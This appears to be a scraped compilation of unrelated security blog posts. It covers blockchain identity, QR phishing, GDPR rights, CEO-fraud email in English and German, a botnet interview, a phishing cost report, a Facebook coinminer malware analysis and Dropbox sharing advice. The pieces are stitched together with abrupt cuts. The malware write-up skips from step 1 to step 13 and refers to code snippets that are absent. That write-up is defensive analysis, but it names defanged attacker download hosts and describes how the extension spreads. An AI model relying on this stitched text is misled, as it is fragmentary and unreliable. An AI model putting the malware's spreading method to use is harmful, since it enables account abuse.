Robert Shiller made some interesting comments     however mostly centered around bitcoin itself. For sure  it has been a bumpy ride  and outside of hype and other reasons for the sudden interest  at its core we are talking about validations of blockchain and its ability to free information  whilst protecting it and giving owners control. Looks like there were over a dozen specific sessions on blockchain itself  which I find quite interesting considering this topic made agendas a few years back anywhere. More interesting to me from a product and compliance side was the joint announcement between Microsoft, Accenture and Hyperledger for the ID2020 Alliance   . Much more to come from this group  and I expect competing groups to crop up with different value propositions, etc. More interesting to us, is the blockchain conversation is starting to mature and get big enough  that is  having some large and lofty goals and encompassing truly needed user communities with capabilities that help on a very large scale call it  planet-wide. In this example, which I didnt know, over 1.1 billion people can not prove their identity  which as we know affects everything from immigration, work, safety, healthcare and more.

The purpose of the barcode was to keep track of automotive parts manufactured by Denso Wave. Nowadays, QR codes are applied to a much broader context and are a commonly used to display text to mobile phone users, to connect to a wireless network, open a webpage on a mobile device, and more. Back in 2021, we reported the resurgence of phishing attacks leveraging QR codes to deliver phishing URLs to customers of a German bank . Today, we see a new phishing campaign targeting Chinese customers of a mobile payment service. The phishing emails masquerade as notifications of wage subsidies from the Ministry of Finance of the Peoples Republic of China, urging recipients to apply immediately. Figure 1.

GDPR requires organizations that collect, process, and store personal data  any personal data at all for any reason  to design and employ processes that protect data from either falling into the wrong hands or being misused by organizations who request it.Chapter 3 of GDPR protects individuals by setting forth specific rights regarding the acquisition, use, and storage of their personal information. The regulation is quite comprehensive and far reaching. Every organization that interacts with residents of the European Union, must comply with these rights, so you should know that every person has the right to Consent Companies may no longer use long, illegible terms and conditions the request for consent must be given in an intelligible and easily accessible form. Further, consent must be clear and distinguishable from other matters like purchases or newsletter signups and written in clear and plain language. The process for giving and withdrawing consent must be equally clear and easy. Access To increase transparency and empower data subjects, people now can obtain confirmation on whether their personal data is processed, for what purpose, and where it is stored. Further, a company controller must provide a copy of the personal data upon request, free of charge and in an electronic format. Rectification Individuals have the right to have incomplete or inaccurate data rectified, that is, corrected. Organizations storing and processing incomplete or inaccurate data must inform each recipient other organizations that received the incorrectinaccurate data of the rectification. If individuals ask, organizations must also inform the affected individuals about these recipients. Erasure Data subjects can request that a data controller the designated responsible party of an organization erase their personal data, cease data dissemination, and potentially halt third-party data-processing. This right requires controllers to compare the subjects rights to the public interest in the availability of the data when considering such requests. Restrict Processing Individuals have a right to block or suppress processing of personal data. When processing is restricted, organizations are permitted to store the personal data, but must stop additional processing. They can retain just enough personal information to ensure the restriction is respected. Data Portability GDPR introduces the right for data subjects to obtain and reuse their personal data for transmission to other controllers. This enables consumers to take advantage of applications and services that use specific data to find better deals. Object Individuals can object to processing based on tasks associated with the public interest or the exercise of official authority including profiling. Further, individuals can object to their data being used for direct marketing, research, and statistics. Additionally, Article 22 of the GDPR protects individuals against solely automated decision-making no human interface, especially in legal or other similarly significant matters. This includes algorithm-based profiling. GDPR assesses penalties for noncompliance up to 4 of annual global turnover or 20 million, whichever is greater, so there is terrific incentive to be ready for implementation on May 25.

Input: Search Free Trial Get Demo Business Email Compromise Imposter Attacks Are Not Going Away January 22, 2018 Business email compromise BEC attacks have been increasing in number over the last few years, driven by their relative success rate compared to other financially motivated attacks. They appear to be quite simple  the attacker sends an email to the intended victim, usually a member of the finance team, and requests that they transfer money to an account controlled by the attacker. But why would the victim do so? Well, the attacker has actually invested a fair amount of time and effort into crafting the attack. He uses various social engineering tactics to generate a sense of urgency. He has researched the target organisation, understands the chain of command and the email will appear to have been sent from a member of the leadership team, often the CEO, hence the alternative names for this type of attack  CEO fraud or imposter emails. Imposter emails reap major returns for cyber criminals In its last report, published in 2017, the FBI Internet Complaint Center, a body that companies report attacks to, named BEC as one of four Hot Topics. In the 3 years between Oct 2013 and Dec 2016, total losses reported by victims was 2.2bn. Compare this with total losses of almost 800m reported in just the last 7 months of 2016. We expect this upwards trend to continue when the next report is published. The 2017 Verizon Data Breach Investigations Report also calls out BEC as a major threat. In one reported incident, Leoni AG, the worlds 4 th largest manufacturer of wire and electrical cables, lost 40m. Detection of imposter emails has been a major challenge for email security providers The success of these attacks is based on the simplicity of the email that is sent. It will contain no malware, no attachment and no links, all of which are the traditional signs of an email that represents a threat of some kind. Imposter email attacks are typically low volume and targeted, rendering most defences that rely on traditional detection methods useless. The attacker ensures maximum success by hand-crafting each email to appeal to the target recipient and ensure maximum chance of success. Combine all of these characteristics and you have an email threat unlike any other, making imposter emails very difficult to detect. Recognising imposter emails is a major challenge for users If your email security infrastructure is not going to detect and block the attack, what can you do? Clearly, it is not malware, so your last line of defence technology, your endpoint protection, will not detect it. That leaves the unsuspecting recipient in the finance team. He has just received an email from the CEO telling him to send money to a business partner, so that they can deliver an urgently needed service or a product, and it needs doing NOW. How much time should this recipient spend trying to decide whether the email is a threat or not? How much training is enough? And how much reliance can an organisation realistically place on non-technical users? Some imposter emails use techniques that are easier for the recipient to recognise than others. Emails contain various fields that are displayed and can be spoofed, such as from name, reply to name or sender address. Some simple attacks will purport to have been sent from the CEO but the email address is an external one not related to the company. These can be easily spotted by checking that the actual sender email address matches the CEOs email address, rather than relying on the from field. More difficult to spot are lookalike domains. These attacks require a bit more effort from the attacker, who registers an email domain that reads like the target companys. It might be the same, except for a character being replaced, dropped or added. The CEOs name is then used to create a legitimate email address on this domain. The result is that all fields are valid and the senders name and email address match, but on closer inspection, they belong to a domain that just resembles the recipients companys own. Solve the problem and keep users productive All recommendations around information security start by suggesting a defence-in-depth strategy and protecting from imposter email threats is no different. You need to look at technology and non-technology based defences. Training users is essential, but do not rely on this practice alone, as it will have an impact on user productivity, as they spend time trying to understand whether an email contains a threat . Imagine a situation where a user has to process all their spam messages themselves. This is considered unacceptable by most organisations and users. As with spam, you need to adopt the best technology based solutions to prevent these emails reaching your users. Standards-based approaches such as Sender Policy Framework can help but have shortcomings and are not widely adopted. What is needed is an imposter detection capability that is fully integrated with existing email security. It should examine all of the email fields that might point to spoofing, the subject and body text to look for the tell-tale signs of social engineering, the senders email domain to determine whether there might be a close match with the companys own, signs that an external email is trying to look like an internal one and many others. It should also allow for input of a list of those users whose addresses an attacker might try and spoof. When the results of all of these tests are correlated, this imposter detection capability should determine the likelihood that an attack is underway and quarantine or tag emails as appropriate, based on this likelihood.

Input: Search Free Trial Get Demo Interview with a Botnet Hunter December 18, 2017 In this interview, Cyren botnet expert Geffen Tzur explains how botnets work and gives a view from the trenches on successes and challenges in fighting botnet cybercrime. What defines a botnet? Doesnt all malware phone home? A botnet is defined as a network of infected computers set up to perform synchronized operations such as spam campaigns, distributed denial of service DDoS attacks, and virus distribution to other computers. Not all malware phones home, but all botnets do, either to a single command and control CC server or via one of their fellow bots in what is known as a peer-to-peer P2P communication. The key thing about a botnet is that it is a synchronized network waiting for commands from a computer operated by the botmaster. If malware goes to a server for downloadsinstructions, but there is no controller, is this a botnet? No. Probably not. A botnet usually updates and receives mission instructions after initial installation. A botnet involves human control. How can you tell that different infected computers are working togetherthat they are actually a botnet? To detect a botnet , you need to be able to correlate between multiple network transactions from various sources around the globe. Once you have this capability there are several different ways to actually identify the botnet during operation. In the first way, cybersecurity solutions will attempt to identify correlations among infected computers, using a secure web gateway like Cyren Web Security to detect the same anomaly originating from different sources. For example, criminals may use the same non-standard port in an HTTP transaction to the same destination server. Sometimes you can only see the anomalies after the fact when you aggregate and count transactions and perform log analysis. Also, a spam bot usually sends the same emails simultaneously from multiple IPs. Cyrens email service can spot a spam bot using this technique. How do security solutions identify peer-to-peer P2P botnets? Identifying P2P botnets is more of a challenge. The problem with P2P botnets is that there is no single server that they communicate with. There can be up to thousands of individual computers working together and you cant always tell which are the command and control CC servers. Identifying the P2P behavior usually involves detecting the number of different connections originating from one serverif a cybercriminal opens too many destinations in a non-standard port, security solutions can often see this. Does the malware itself provide any clues that it is malware specific to a botnet? By dynamic analysis of the malware we can detect behaviors typical to botnet set up, such as agent registration, information collection on the operating system and environment, and network reconnaissance. These behaviors can then be characterized into a profile, so that other variants of the same malware can be labeled as responsible for the same botnet. Eventually, when a heuristic anti-malware solution finds one of these variants, it can tell it belongs to the same malware family. In addition, when security professionals analyze malware being distributed by botnets, it is possible to detect typical behavior in a sandbox and identify the registration of agents and botnets, as well as attempts by the botnet to do network reconnaissance and send info to the CC. How do botnets get their names? Security professionals often name botnets based on some word, phrase, or string they see inside the binary code. Sometimes it could be based on a network-related activity, such as the server name or special header. Each company gives different names. For example, with Zeus there are several industry names, such as Zbot, Zeus Gameover, and Trojan-Spy, and Win32.Zbot. The names that are publicized by security professionals are not necessarily the botnet owners chosen name. Criminals may create their own names for botnets, and we dont necessarily know what those are. Is there real expertise involved in creating a botnet? Can anyone simply download or purchase a kit and build their own botnet? It is actually fairly easy to build a botnet, and someone with basic knowledge and expertise could do it. You can also purchase botnets off-the-shelf, hire someone to build it for you, engage an organization to do distribution for you, purchase CC servers, or even rent an existing botnet. Botnets are available for all kinds of functionalities, from banking, spamphishing, hacktivism, and distributed denial of service DDoS attacks. We still see specialized malware for setting up a botnet and for adding a bot to the network. It is an industryand it is organized and available for rent or purchase, just like any legitimate service. One of the most famous cases is the Mariposa botnet, in which three cybercriminals bought a kit and deployed it. There is no special skill required and often we discover entry-level beginner botnets. There is some expertise required for new or hyper-evasive malware. Like any software, you can also purchase open-source versions that enable you to build a botnet, but this software is fairly easy for security professionals to detect, so the botnet will likely only be used for a very short period of time. For targeted botnet attacks you need expertise, skill, and knowledge of evasion techniques, such as how not to activate in a sandbox, particularly if you dont want security solutions to find you too quickly. How does a banking botnet, like Zeus, function? Zeus is a Trojan horse malware which infected millions of computers between 2007 and 2010. It steals banking information by monitoring the browsers process, often known as a man-in-the-browser attack, detecting keystrokes and grabbing web forms. Once the information is stolen, it is sent to a remote location which is often a compromised server. Then, the botmaster retrieves the banking credentials, logs into the victims online bank account through a compromised proxy, and performs a money transfer to a designated bank account. These bank accounts are controlled by networks of money mulesa network of people whose job is to withdraw money from these bank accounts, usually in countries with little or no banking regulation. The mules then transfer the money to the botmasters organization. Is ransomware ever part of a botnet? The line is thin. Ransomware distribution may originate from a botnet, but after the distribution there is no botnetlike activity such as synchronized operations. Ransomware is typically a focused attack with a single attack vector. A botnet is a group of computers working together to perform continuous attacks. Ransomware requires no synch with other infected machines. Are botnets smaller than they used to be? We dont necessarily have any data to support this, although there have been reports of takedowns of multiple small botnets such as Citadel. Botnets definitely come in all sizes. But, it does make sense that a criminal may want to reduce the risk of a takedown by making the botnet smaller and thus harder to detect. It also depends on the purpose of the botnet. A spamDDoS botnet will naturally be large, global, and non-specific. On the other hand, a botnet designed to launch spear-phishing and targeted attacks will tend to be smaller and stealthierlimiting the size of the botnet reduces the chance of detection. If all botnets phone home, shouldnt it be easy to simply spot some unexpected outgoing communication and block it? It used to be simple. In the early days of botnets, simple filtering of outgoing traffic with rules and signatures would have been enough. Since then, botnets have evolved to use multiple evasion techniques, such as domain generation algorithms DGA, piggybacking on user traffic, posting in legitimate blogs, and hiding the CC server address in a web search results page. Botnets have evolvedlike all technologyand the botnet industry has large amounts of money associated with it. Today we have professional criminals with knowledge and expertise, actually investing in improving botnet evasion solutions. There seem to be a lot of security companies and organizations tracking botnets these days. Why are botnets so hard to take down? Well, there are obviously more botnet owners and malware groups than security companies. The takedowns have been complicated. It all boils down to hyper-evasive malware which avoids detection, and security companies which are often one step behind in inventing new detection methods. As for taking down botnetsthis is normally done by law enforcement and ISPs, and in many cases there is not enough cooperation and information sharing with the security vendors. In some cases, privacy concerns and regulations between countries are delaying or preventing such cooperation. Moving the wheels of law enforcement and government regulation is hard. Ultimately, security organizations like Cyren defend customers faster than law enforcement can take down a botnet. Sometimes after a takedown, we hear that a sinkhole has been set uphow does this work? A sinkhole is basically a way of redirecting malicious Internet traffic so that it can be captured and analyzed by security analysts. It uses a standard DNS server configured to hand out non-routable addresses for all domains in the sinkhole, so that every computer that uses it will fail to get access to the real website. For example, if a victim receives an email with malicious link that has been sink-holed, and if the victim clicks the link, they wont reach the malicious site, instead they reach a non-routable address. Cyren offers this type of security in our DNS security solution to help protect users from malicious websites. Do botnet owners specifically target security solutions or law enforcement? Bots are highly aware of security solutions and detection techniques. There is a history of malware samples, that when analyzed, were found to contain code to check for specific anti-virus vendor software. Botnet owners will also engage in spear phishing attacks on specific companies or law enforcement. It is also very common for cybercriminals to code botnet malware with sandbox evasion techniques. Are botnets used in hacktivism? It is definitely possible and likely that certain government, political, or business organizations are being targeted for hacktivism purposeswe probably saw some of this during the recent elections in the United States, as well as during the Brexit vote, when bots were used for promotional purposes or to disseminate fake news and disinformation on social media sites like Twitter. After the election in the U.S., a number of major think tanks were targeted by spearphishing attacks. We see it all the time in Israel with criminal organizations developing botnets to target think tank organizations. What financial gain is there in a DDoS attack? Usually a DDoS attack is not directly profit-related. Sometimes competitors of the victim might order an attack to draw clients to their service. Sometimes DDoS attacks are used as a form of retaliation, as in the case of the recent Krebs on Security attack. In other cases, a DDoS attack is used as a distraction from a stealthier operation. Sometimes, DDoS attacks are even used as a form of blackmail. How much does it cost to rent a botnet? It definitely varies. The price of botnets-for-rent can range from thousands of dollars to hundreds of thousands of dollars, depending on type of attack, botnet purpose, the type of damage it is supposed to do, etc. What industries are most often the target of botnet attacks? Definitely attacks on banks and other financial institutions, as well as governments will continue to grow. What can we expect in the future for botnets? Ransomware distribution involves high profitability and it will likely continue to keep everyone busy. We expect to see a shift with more botnets using a P2P structure, which is harder to detect. Botnets using Internet of Things IoT devices will likely grow and get more sophisticated. In addition, botnets will continue to be used for malware distribution and spam. I dont see that going away.

Input: Search Free Trial Get Demo Business E-Mail Compromise-Angriffe Imposter durch Betrüger lassen nicht nach January 22, 2018 Business E-Mail CompromiseBEC-Angriffe haben in den letzten Jahren zahlenmäßig zugenommen und werden von ihrer relativen Erfolgsrate angetrieben  verglichen mit anderen finanziell motivierten Angriffen. Sie scheinen recht einfach zu sein Der Angreifer sendet dem ausgesuchten Opfer, das für gewöhnlich ein Mitglied des Finanzteams ist, eine E-Mail und fordert es dazu auf, Geld auf ein Konto zu überweisen, welches vom Angreifer kontrolliert wird. Warum aber lässt sich das Opfer darauf ein? Nun ja, der Angreifer hat schon recht viel Zeit und Mühe in die Gestaltung des Angriffs investiert. Er nutzt diverse Social-Engineering-Taktiken, um ein Gefühl der Dringlichkeit zu erzeugen. Er hat das Zielunternehmen erforscht, kennt die Dienstwege, und es sieht so aus, als käme E-Mail von einem Mitglied der Geschäftsleitung oftmals dem CEO daher auch die alternativen Namen für diese Art des Angriffs CEO-Betrug oder Imposter E-mails. Durch Imposter E-mails erzielen Cyber-Kriminelle erhebliche Erträge Die Erkennung von Imposter E-mails ist eine große Herausforderung für Anbieter von E-Mail-Sicherheit Der Erfolg dieser Angriffe beruht auf der Einfachheit der E-Mail, die gesendet wird. Sie enthält keine Malware, keine Anhänge und keine Links alles traditionelle Zeichen einer E-Mail, die eine gewisse Bedrohung darstellt. Betrügerische E-Mail-Angriffe werden typischerweise in niedrigem Volumen und zielgerichtet ausgeführt, wodurch sich die meisten Verteidigungsmöglichkeiten auf Basis traditioneller Erkennungsmethoden als nutzlos erweisen. Der Angreifer sichert sich maximalen Erfolg, indem er jede E-Mail individuell verfasst, um den Ziel-Empfänger anzusprechen und maximale Erfolgschancen sicherzustellen. Wenn Sie all diese Charakteristika kombinieren, haben Sie eine E-Mail-Bedrohung, die seinesgleichen sucht, wodurch Imposter E-mails sehr schwer zu entdecken sind. Das Erkennen von Imposter E-mails ist für Benutzer eine schwierige Herausforderung Wenn Ihre E-Mail-Sicherheits-Infrastruktur den Angriff nicht entdeckt und blockiert, was können Sie dann tun? Es handelt sich ja ganz klar nicht um Malware, so dass Ihre letzte technologische Verteidigungslinie, der Endpunktschutz, dies nicht entdecken wird. Kommen wir also zum ahnungslosen Empfänger im Finanzteam. Er hat soeben eine E-Mail vom CEO erhalten, der ihn auffordert, Geld an einen Geschäftspartner zu überweisen, damit dieser eine dringend benötigte Dienstleistung oder ein Produkt liefern kann, und er soll es JETZT tun. Wie viel Zeit sollte dieser Empfänger damit verbringen, zu entscheiden, ob die E-Mail eine Bedrohung ist oder nicht? Welches Maß an Schulung ist ausreichend? Und wie sehr kann sich ein Unternehmen realistischerweise auf nicht-technische Benutzer verlassen? Manche Imposter E-mails nutzen Techniken, die der Empfänger leichter erkennen kann als andere. E-Mails enthalten diverse Felder, die angezeigt werden und manipuliert sein können, wie z. B. der Name im Feld Von, der in Antworten an oder die Adresse des Absenders. Einige einfache Angriffe geben vor, die E-Mail käme CEO. Es handelt sich jedoch um eine externe E-Mail-Adresse, die keinen Bezug zum Unternehmen hat. Dies kann problemlos festgestellt werden, indem man überprüft, ob die tatsächliche E-Mail-Adresse des Absenders mit der E-Mail-Adresse des CEO übereinstimmt, statt sich auf das Feld Von zu verlassen. Mehr Schwierigkeiten bereitet es, Doppelgänger-Domains aufzuspüren. Diese Angriffe erfordern etwas mehr Mühe seitens des Angreifers, der eine E-Mail-Domain anmeldet, die sich genauso anhört wie die des Zielunternehmens. Sie klingt genauso und kann sich durch ein Zeichen unterscheiden, welches ersetzt, weggelassen oder hinzugefügt wurde. Der Name des CEO wird dann genutzt, um eine legitime E-Mail-Adresse auf dieser Domain zu erstellen. Im Ergebnis sind dann alle Felder gültig, und der Name sowie die E-Mail-Adresse des Absenders stimmen überein. Wenn man sich das aber genauer anschaut, gehören diese zu einer Domain, die der des Unternehmens des Empfängers lediglich ähnelt. Das Problem lösen und die Produktivität von Benutzern gewährleisten Alle Empfehlungen hinsichtlich Informationssicherheit beginnen mit dem Vorschlag einer tiefgreifenden Verteidigungsstrategie, und beim Schutz vor der Bedrohung seitens Imposter E-mails ist es genauso. Sie sollten sich sowohl technologiebasierte als auch nicht-technologiebasierte Verteidigungsmöglichkeiten ansehen. Die Schulung der Benutzer ist ein wesentlicher Punkt. Verlassen Sie sich jedoch nicht allein auf diese Vorgehensweise, denn sie wirkt sich auf die Produktivität der Benutzer aus, da diese Zeit damit verbringen, herauszufinden, ob eine E-Mail eine Bedrohung darstellt oder nicht . Stellen Sie sich eine Situation vor, in welcher der Benutzer alle Spam-Nachrichten selbst verarbeiten muss. Die meisten Unternehmen und Benutzer empfinden dies als unzumutbar. Ähnlich wie beim Spam müssen Sie hier die besten technologiebasierten Lösungen übernehmen, um zu verhindern, dass diese E-Mails Ihre Benutzer erreichen. Standardbasierte Ansätze wie das Sender Policy Framework können hilfreich sein, haben jedoch Nachteile und finden keine breite Anwendung. Sie benötigen eine Nachweismöglichkeit von Betrugsfällen, die in die bestehende E-Mail-Sicherheit voll integriert ist. Diese sollte alle E-Mail-Felder untersuchen, die auf eine Manipulation hinweisen könnten. Untersucht werden sollten u. a. die Betreffzeile und der Textkörper, um verräterische Social-Engineering-Hinweise aufzuspüren, die E-Mail-Domain des Absenders, um festzustellen, ob eine weitgehende Übereinstimmung mit der unternehmenseigenen Domain besteht, sowie Zeichen dahingehend, ob eine externe E-Mail versucht, wie eine interne auszusehen. Außerdem sollte die Eingabe einer Liste jener Benutzer, deren Adressen ein Angreifer zu manipulieren versuchen könnte, ermöglicht werden. Wenn die Ergebnisse aus all diesen Tests miteinander korreliert werden, sollte die Nachweismöglichkeit für Betrugsfälle die Wahrscheinlichkeit bestimmen können, dass ein Angriff gestartet wurde, und E-Mails je nach Bedarf und auf Basis dieser Wahrscheinlichkeit unter Quarantäne stellen bzw. markieren.

Input: Search Free Trial Get Demo Analyst Report Phishing Attacks Are a Business Problem, Not an IT Problem December 14, 2017 Successful phishing attacks are all over the news and a top concern for IT managers, but how do you make the business case for adding more advanced email and web security? In a new report, security industry analyst Derek Brink of the Aberdeen Group has crunched the numbers and put  on the real risks and cost impact to businesses of phishing attacks, giving calculations for companies of different sizes and in different industry sectors. A complimentary copy of the report is available for free download. The paper explains very succinctly why phishing attacks are bypassing security and reaching users so often today, and lays out the new type of security required to better defend against them. Brink then quantifies the financial risks posed by phishing, and how to think about  and justify  IT security investments at your company from a business perspective. The Long Tail of Risk Using a sophisticated model, Brink calculates the median annual business impact of a successful phishing attack at 260,000 for a business with 1,000 users. He also calculates the probabilities of a range of losses, from low to high, including the likelihood of a catastrophic loss defined as over 10 million in a section where he explains the long tail of risk. Brink argues the small but real risk of large losses in this long tail must be taken into account when defining what kind of security protection a business wants to have in place, instead of just focusing on average risk. Security ROI Brink then turns to the question of what is the return on any investment an IT manager might make in reducing phishing risk through better security, giving specific ROI multiples while comparing the likelihood of a positive return on additional security investments to the maintain status quo option. Phishing Attacks Are Fast, Protection Must Be Faster In the report, Brink also frames the problem with todays defenses by focusing on the timeline of phishing attacks, concluding that effective defense is really about speed. Among other findings, he observes that the median elapsed time to the first open of a phishing email by a user is 1m40s after it is sent, and that 80 of phishing victims are hooked within the first 60 minutes of the launch of a new phishing campaign. In a game that is played at a scale of seconds and minutes and not hours and days, any protection needs to move faster than both attackers and users. Brink concludes his analysis by underlining the need for high-speed security solutions predicated on automated analysis and the correlation of massive amounts of data.

Input: Search Free Trial Get Demo Facebook Users Hit With Coinminer Malware December 21, 2017 The value of Bitcoin virtual currency just hit a new all-time high, and with it an increasing number of malware threats are targeting users to borrow their PCs CPU for use in mining the precious cryptocurrency, something we last wrote about in October here . Once executed, a significant spike in CPU resources can be seen by the user in the active processes list if they look. New Attack This Week Exploits Chrome Browser and Spams Facebook Users Here at the Cyren Security Lab weve analyzed a new attack this week which is utilizing Facebook Messenger to distribute Coinminer  malware our security cloud already previously detected and blocks, but the use of Facebook is a new distribution ploy. Based on our research, there are at least two variants of this malware being distributed through Facebook messages, with the earliest timestamp dated just a few days ago. It would appear that the malware archives are being uploaded to Facebooks servers before the links are sent out, so when a Facebook user receives a message, the download link is actually from Facebook. One aspect of this campaign is that the malware is sending messages by virtue of a malicious Chrome extension which it first installs, and thereby exploiting the Facebook messaging API. It is the malicious Chrome extension which retrieves the list of friends of the logged on Facebook user, and does the sending. Below are screenshots and more detail on what the message links look like, how the Google Chrome extension exploit happens, how the downloaded file works, and details on what the cryptominer does to the CPU. What It Looks Like Using suggestive content as bait, below is a real sample message to a Facebook group, although the spam messages are resent to all friends, including individual accounts Download link of the malware posted in a Facebook Group The downloaded archive contains a downloader malware, which is written in AutoIt and compiled as a Windows executable application. Cyren detects these downloaders as W32Agent.APS.gen!Eldorado. The use of AutoIt for the downloader means that the script can be re-obfuscated, recompiled and compressed to make the binaries unique every time the Chrome extension makes a request. How the Downloader Works Once the AutoIt is decompiled, a simple script and a little bit of modification will reveal its behavior. Excerpt of modified code of the downloader malware for readability Sample 1 1st Variant20171215 d1d380bbdc0f7ab29bfcbd7ff53208fa283334d3a680bf0a69feb91479f49289 1.

Searches for chrome applications shortcuts and updates them to include the above chrome parameters 13. Executes the extracted worker.exe which is a crypto miner application Chrome Extension Analysis The Chrome extension included in the malware is loaded by using the load-extension parameter. This appears to be a malicious extension opening multiple browser tabs to load different video streams, making Chrome appear to be exhausting system resources, eventually covering up the activity of the cryptominer malware, which was executed along with Chrome. Once loaded, this extension downloads a configuration file from its server hxxpplugin.yimad.redep.bidconfig. Contents of downloaded config This proceeds to download an additional chrome extension script named bgtacpy a9b5e9dc8d2de3d27278bcbee3016b59c5ca85fc2bf8d377d1f3d4efc98d6e82, which Cyren detects as JSKromAgent.B. Chrome extension downloads additional extension script from retrieved config file Config and additional Chrome extension script packet capture This additional extension script further downloads and executes another script named script.js f206c8c285ebfb8f10215524131405039882986aeddb70bde728d9e866f9a899, which detects as JSKromSpam.A!Eldorado . Chrome Extension downloads and executes additional javascript Javascript script.js Packet Capture The downloaded javascript is responsible for spamming malware download link messages to Facebook friends of the currently logged on Facebook user. The spamming script is obfuscated as shown in the code snippet Dumping the decrypted script still shows further obfuscation Further cleanup of the de-obfuscated code shows the following behavior 1. Retrieve list of friends and send out the crypto miner download links 2. A new downloader package is retrieved from the threat actors server hxxpplugin.yimad.redep.bidminezip.php?extme, which automatically generates new unique samples for every download request. The downloader package is then uploaded to Facebooks server using a randomly generated file name as shown in the code snippet below NOTE Updates as of 12262017The malware host is still alive and the archive type has changed from ZIP to 7Z. Furthermore, the new variants of the downloader component passes the miner configuration directly via command line parameters to its call to worker.exe, instead of using a configuration script. 3. After uploading the downloader package, the message with the link attachment is sent to each account on the retrieved friends list using the following code Cryptominer Analysis The downloaded cryptominer comes with a config file, which contains information on the malware authors mining account. This configuration also shows that the cryptominer is using the CryptoNight algorithm, a proof-of-work algorithm intended for use on ordinary PC CPUs. CryptoNight is the same mining algorithm used by many popular, web-based cryptominers. Once executed, a significant spike in CPU resources can be seen in the task manager or process explorer. Once in operation, the Cryptominer uses high CPU resources. The estimable John Patrick Lita and Eric Reyata from CSP-CERT have also published a detailed analysis of this Facebook spam campaign, citing an attribution to the possible criminal actor behind this scheme. A similar crypto-currency mining malware campaign called Digmine, has also been spreading via Facebook over the last week.

Input: Search Free Trial Get Demo DropBox  Security Best Practices for External Sharing on Content Collaboration Platforms February 2, 2018 The Security Best Practices for External Sharing on Content Collaboration Platforms blog series examines the state of security for external sharing on the leading Content Collaboration Platforms CCP. Each week well review a different platform and make security best practice recommendations. Background Dropbox was founded in 2007 by MIT student Drew Houston, because as the story goes, he had become frustrated with his USB stick storage solution. He created a simple online service that allowed consumers to store all their files while syncing them to their computers and smartphones. Today, Dropbox has over half a billion global users with 1.2 billion files uploaded everyday. Although Dropbox began life as a consumer platform it has gradually shifted its focus to the enterprise. In 2013 it launched Dropbox Business and now has over 150,000 paying enterprise customers, that represent two-thirds of its billion dollar annual revenue. Dropbox has also recently launched DropBox Paper a collaboration service that allows its customers to create documents and projects. Its believed that Dropbox will continue adding features to Paper so that it can compete more effectively with Microsoft Office and Google G Suite. Dropbox is planning on going public in 2018 as a 10X Unicorn or higher. Dropboxs heritage as a consumer service has both helped and hindered it in the brutally competitive world of enterprise Content Collaboration Platforms CCP. On the positive side Dropbox has always garnered high praise for its simple and intuitive UI. Its widespread adoption by consumers has also assisted it in penetrating the enterprise market. More negatively it has had to play catch-up with more enterprise-focused companies like Box because the original Dropbox solution was not architected around the concept of an all-controlling administrator. External Sharing Security Issues As noted above DropBox has struggled with the perception that it was not originally intended for the enterprise. It certainly has had its fair share of security issues. In August 2016 Dropbox was forced to reset its members passwords because it was discovered that in 2012 over 68 million account passwords had been hacked. Many questioned why it took four years for Dropbox to take action. In another high-profile story former NSA contractor turned whistleblower, Edward Snowden, very publicly singled Dropbox out for criticism, saying that it was hostile to privacy and told users to get rid of it because of its readiness to turn over files to law enforcement. Finally, like other CCPs, Dropbox had the unprotected shared link inadvertently indexed on Google problem which led to exposed documents. These vulnerabilities underscore how collaborating particularly beyond the walled garden of your enterprise CCP can be risky. Mitigating this risk will continue to be a challenge since enterprises will never have the same level of control over external users as they do over their own users. Four External Sharing and Collaboration Security Best Practices for Dropbox 1  Structure your Team Folders and Groups carefully Our first security recommendation is to spend time structuring your team folders since they offer a more secure and controlled way for your organization to collaborate. Note team folders are different from regular shared folders because they are created by your admin and they automatically appear in a members Dropbox. These folders are accessed by groups. Groups are created and managed by admins and include lists of members who need access to the same information. Group members are automatically added to all team folders that the group has been invited into. Note groups can be created and managed either by admins or users. We recommend that groups be managed by admins so that you can keep a tight lid on who joins and leaves each group. The other key ability of a group admin is the ability to assign one of two roles editor or view-only to each member of a group. Since only editors can share content with collaborators outside of your group you should be highly selective as to who becomes an editor. All the team folder and groups settings can be accessed in the Admin Console see below. 2  Understand your sharing options Shared files and links are the Dropbox solution to email attachments. The main difference between them is that only people you invite to a shared file can view the file, while anyone with a link can view your files, no Dropbox account required. Because of this shared links should never be used for sensitive files since they only have security by obscurity and in todays breach-prone world, one can never bet on maintaining obscurity for the long haul. We recommend the shared file approach because it has easy-to-use security tools available, including permission levels dont make everyone an editor if you dont need to, passwords and expiration options, but tools only work if you train your users to use them. For the most part we recommend that admins are conservative with their security options. Its best to force users to seek permission to share externally rather than make it the default. All the shared files and sharing links settings can be accessed in the Admin Console see below. 3  Monitor the sharing activity of your members Dropbox has spent considerable resources improving their admin reporting capability with the result that their Activity area now offers very flexible and comprehensive reports. It is good practice to regularly monitor the sharing activities of your members. You can generate reports of activity across your Business account for a specific period by clicking Activity from within the Admin Console See below. Dropbox currently has 149 sharing-focused reports. Reports such as Added non-team members to a shared folder or Downloaded a filefolder from a link non-team member are a good place to start when monitoring external sharing. 4  Consider managing the identities of your external users Shared links and folders are convenient ways for external collaboration but unfortunately the security is ultimately left up to the recipient of the data, since they control their Dropbox account not you. For many organizations with sensitive data this situation is unacceptable. This leaves them with two options Provide their outside user with one of their own corporate Dropbox accounts so that they can impose their enterprise security policies on the external user. This however, for many organizations, is not all that appealing for both cost and security reasons. A better option is for your organization to manage the identities of your external users itself. Resilient Access was built to accomplish this. By provisioning all external users Resilient is able to maintain full control over who and how each external user sees your data. Also with this approach your organization has complete flexibility to go beyond Dropboxs own native security and add any type of MFA or other security measures.

